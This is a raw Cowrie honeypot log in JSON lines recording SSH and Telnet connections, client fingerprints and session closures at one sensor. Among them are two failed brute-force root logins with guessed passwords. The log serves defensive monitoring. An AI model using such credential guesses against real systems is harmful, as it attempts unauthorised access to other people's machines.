{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:01.418172Z","src_ip":"193.24.211.95","session":"52613e5ba350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":40256,"dst_ip":"159.203.135.109","dst_port":23,"session":"21e3ba0b4b7d","protocol":"telnet","message":"New connection: 207.148.4.7:40256 (159.203.135.109:23) [session: 21e3ba0b4b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:01.468914Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":53376,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e2789557719","protocol":"ssh","message":"New connection: 58.186.20.101:53376 (10.17.0.5:22) [session: 0e2789557719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:01.520741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:01.527857Z","src_ip":"58.186.20.101","session":"0e2789557719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:01.788387Z","src_ip":"58.186.20.101","session":"0e2789557719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:01.852468Z","src_ip":"193.24.211.95","session":"52613e5ba350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":40262,"dst_ip":"159.203.135.109","dst_port":23,"session":"650b744db9bb","protocol":"telnet","message":"New connection: 207.148.4.7:40262 (159.203.135.109:23) [session: 650b744db9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:02.105045Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.0admin","message":"login attempt [root/123.0admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:02.850112Z","src_ip":"58.186.20.101","session":"0e2789557719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:02.963382Z","src_ip":"193.24.211.95","session":"52613e5ba350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36580,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d8a101d1535","protocol":"telnet","message":"New connection: 213.129.84.225:36580 (159.203.135.109:23) [session: 8d8a101d1535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:03.199996Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:04.108451Z","src_ip":"58.186.20.101","session":"0e2789557719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8384428024292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:04.173866Z","src_ip":"213.129.84.225","session":"00ef9e8c5d44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59094,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9c4387d85d","protocol":"telnet","message":"New connection: 213.129.84.225:59094 (159.203.135.109:23) [session: 8e9c4387d85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:04.562850Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60708,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a8a8ef2d9b8","protocol":"telnet","message":"New connection: 213.129.84.225:60708 (159.203.135.109:23) [session: 8a8a8ef2d9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:04.919936Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57802,"dst_ip":"159.203.135.109","dst_port":23,"session":"88989f5a9011","protocol":"telnet","message":"New connection: 213.129.84.225:57802 (159.203.135.109:23) [session: 88989f5a9011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:05.331321Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":48646,"dst_ip":"159.203.135.109","dst_port":23,"session":"aee54baf83c8","protocol":"telnet","message":"New connection: 207.148.4.7:48646 (159.203.135.109:23) [session: aee54baf83c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:05.706581Z"}
{"eventid":"cowrie.session.closed","duration":30.421456575393677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:06.097985Z","src_ip":"213.129.84.225","session":"f580284b0406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40094,"dst_ip":"159.203.135.109","dst_port":23,"session":"54c628dfbfef","protocol":"telnet","message":"New connection: 213.129.84.225:40094 (159.203.135.109:23) [session: 54c628dfbfef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:06.389434Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41386,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca175db8b9d2","protocol":"telnet","message":"New connection: 213.129.84.225:41386 (159.203.135.109:23) [session: ca175db8b9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:06.688838Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"8557813c10a7","protocol":"telnet","message":"New connection: 213.129.84.225:42568 (159.203.135.109:23) [session: 8557813c10a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:06.923044Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42868,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a0d147fea91","protocol":"telnet","message":"New connection: 213.129.84.225:42868 (159.203.135.109:23) [session: 1a0d147fea91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:06.987300Z"}
{"eventid":"cowrie.session.closed","duration":30.684367418289185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:07.041016Z","src_ip":"213.129.84.225","session":"68a7795962ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65356183052063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:07.121107Z","src_ip":"213.129.84.225","session":"b974aa24bd88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43950,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8b44b0a251d","protocol":"telnet","message":"New connection: 213.129.84.225:43950 (159.203.135.109:23) [session: d8b44b0a251d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:07.234217Z"}
{"eventid":"cowrie.session.closed","duration":31.200786113739014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:07.239718Z","src_ip":"213.129.84.225","session":"b585c72621c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47982,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa3651f23d3","protocol":"telnet","message":"New connection: 213.129.84.225:47982 (159.203.135.109:23) [session: 9fa3651f23d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:08.008090Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":48652,"dst_ip":"159.203.135.109","dst_port":23,"session":"3afb2346b36f","protocol":"telnet","message":"New connection: 207.148.4.7:48652 (159.203.135.109:23) [session: 3afb2346b36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:08.360101Z"}
{"eventid":"cowrie.session.closed","duration":31.706555128097534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:08.769974Z","src_ip":"213.129.84.225","session":"c3107058dcfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512171030044556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:09.066075Z","src_ip":"213.129.84.225","session":"e6f23464e6b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.91132950782776,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:09.126598Z","src_ip":"213.129.84.225","session":"89ea32dfffea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.307116746902466,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:09.556212Z","src_ip":"137.184.155.248","session":"d4bd673dec9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915494441986084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:10.052533Z","src_ip":"213.129.84.225","session":"9508f36fd98a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":48654,"dst_ip":"159.203.135.109","dst_port":23,"session":"c11301e83b39","protocol":"telnet","message":"New connection: 207.148.4.7:48654 (159.203.135.109:23) [session: c11301e83b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:12.016567Z"}
{"eventid":"cowrie.session.closed","duration":33.117583990097046,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:13.014909Z","src_ip":"213.129.84.225","session":"b520c07cd2bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49516,"dst_ip":"159.203.135.109","dst_port":23,"session":"440923fabfc4","protocol":"telnet","message":"New connection: 213.129.84.225:49516 (159.203.135.109:23) [session: 440923fabfc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:14.111031Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59390,"dst_ip":"159.203.135.109","dst_port":23,"session":"0077eca46628","protocol":"telnet","message":"New connection: 213.129.84.225:59390 (159.203.135.109:23) [session: 0077eca46628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:14.376843Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47504,"dst_ip":"159.203.135.109","dst_port":23,"session":"c417db57c1d2","protocol":"telnet","message":"New connection: 213.129.84.225:47504 (159.203.135.109:23) [session: c417db57c1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:14.660701Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":44220,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f9430e3998c","protocol":"telnet","message":"New connection: 207.148.4.7:44220 (159.203.135.109:23) [session: 0f9430e3998c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:15.048185Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52994,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4910a98ad8d","protocol":"telnet","message":"New connection: 213.129.84.225:52994 (159.203.135.109:23) [session: f4910a98ad8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:15.739113Z"}
{"eventid":"cowrie.session.closed","duration":30.616498470306396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:16.048883Z","src_ip":"213.129.84.225","session":"6e1715eaaa9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.691211700439453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:16.066808Z","src_ip":"213.129.84.225","session":"399a211ed7e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70123600959778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:16.163028Z","src_ip":"213.129.84.225","session":"e57401040223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96712064743042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:17.047932Z","src_ip":"213.129.84.225","session":"f675551b6338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35688,"dst_ip":"159.203.135.109","dst_port":23,"session":"c37fa7eca106","protocol":"telnet","message":"New connection: 213.129.84.225:35688 (159.203.135.109:23) [session: c37fa7eca106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:17.888612Z"}
{"eventid":"cowrie.session.closed","duration":30.523016929626465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:18.051516Z","src_ip":"213.129.84.225","session":"7a737f96dbcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60725975036621,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:18.063637Z","src_ip":"213.129.84.225","session":"3ca7364d25bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":44226,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f48794bac22","protocol":"telnet","message":"New connection: 207.148.4.7:44226 (159.203.135.109:23) [session: 3f48794bac22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:19.092826Z"}
{"eventid":"cowrie.session.closed","duration":30.752045154571533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:20.122942Z","src_ip":"213.129.84.225","session":"423939b4a280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":44234,"dst_ip":"159.203.135.109","dst_port":23,"session":"9de11649b0ec","protocol":"telnet","message":"New connection: 207.148.4.7:44234 (159.203.135.109:23) [session: 9de11649b0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:20.545255Z"}
{"eventid":"cowrie.session.closed","duration":45.42797231674194,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:20.649694Z","src_ip":"137.184.155.248","session":"a943071d6790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342862129211426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:21.645438Z","src_ip":"213.129.84.225","session":"11fa540bde39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":32768,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdad81a9dfb8","protocol":"telnet","message":"New connection: 213.129.84.225:32768 (159.203.135.109:23) [session: cdad81a9dfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:22.985033Z"}
{"eventid":"cowrie.session.closed","duration":47.427345752716064,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:24.005917Z","src_ip":"137.184.155.248","session":"3f7d4aec2ce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33018,"dst_ip":"159.203.135.109","dst_port":23,"session":"36450ba684b7","protocol":"telnet","message":"New connection: 213.129.84.225:33018 (159.203.135.109:23) [session: 36450ba684b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:24.043152Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37230,"dst_ip":"10.17.0.5","dst_port":23,"session":"86e464d58cc8","protocol":"telnet","message":"New connection: 137.184.155.248:37230 (10.17.0.5:23) [session: 86e464d58cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:25.900983Z"}
{"eventid":"cowrie.session.closed","duration":30.353461742401123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:26.156436Z","src_ip":"213.129.84.225","session":"7a084acd7fd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55430,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5f3127ab385","protocol":"telnet","message":"New connection: 213.129.84.225:55430 (159.203.135.109:23) [session: b5f3127ab385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:26.604762Z"}
{"eventid":"cowrie.session.closed","duration":31.760053396224976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:26.762916Z","src_ip":"213.129.84.225","session":"5ac5c5ce12ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57628,"dst_ip":"159.203.135.109","dst_port":23,"session":"129670e4c780","protocol":"telnet","message":"New connection: 213.129.84.225:57628 (159.203.135.109:23) [session: 129670e4c780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:27.060204Z"}
{"eventid":"cowrie.session.closed","duration":31.306253910064697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:27.338798Z","src_ip":"213.129.84.225","session":"f9aa7edafe9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":46890,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cdaa8a7c236","protocol":"telnet","message":"New connection: 207.148.4.7:46890 (159.203.135.109:23) [session: 7cdaa8a7c236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:27.500507Z"}
{"eventid":"cowrie.session.closed","duration":30.443771600723267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:28.048236Z","src_ip":"213.129.84.225","session":"a448cd1e6f5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":46906,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f7642686dcc","protocol":"telnet","message":"New connection: 207.148.4.7:46906 (159.203.135.109:23) [session: 2f7642686dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:29.065968Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40102,"dst_ip":"159.203.135.109","dst_port":23,"session":"b387d72ba1e7","protocol":"telnet","message":"New connection: 213.129.84.225:40102 (159.203.135.109:23) [session: b387d72ba1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:29.214290Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43824,"dst_ip":"159.203.135.109","dst_port":23,"session":"9793339a7123","protocol":"telnet","message":"New connection: 213.129.84.225:43824 (159.203.135.109:23) [session: 9793339a7123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:29.916963Z"}
{"eventid":"cowrie.session.closed","duration":31.079205751419067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:30.007723Z","src_ip":"213.129.84.225","session":"680d9a1fc7ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833770513534546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:30.380780Z","src_ip":"207.148.4.7","session":"85b899de2b21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.336207389831543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:30.443071Z","src_ip":"213.129.84.225","session":"833426f91a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":46922,"dst_ip":"159.203.135.109","dst_port":23,"session":"502e03f7b30b","protocol":"telnet","message":"New connection: 207.148.4.7:46922 (159.203.135.109:23) [session: 502e03f7b30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:30.732327Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":46936,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd6201aa144","protocol":"telnet","message":"New connection: 207.148.4.7:46936 (159.203.135.109:23) [session: bdd6201aa144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:31.024969Z"}
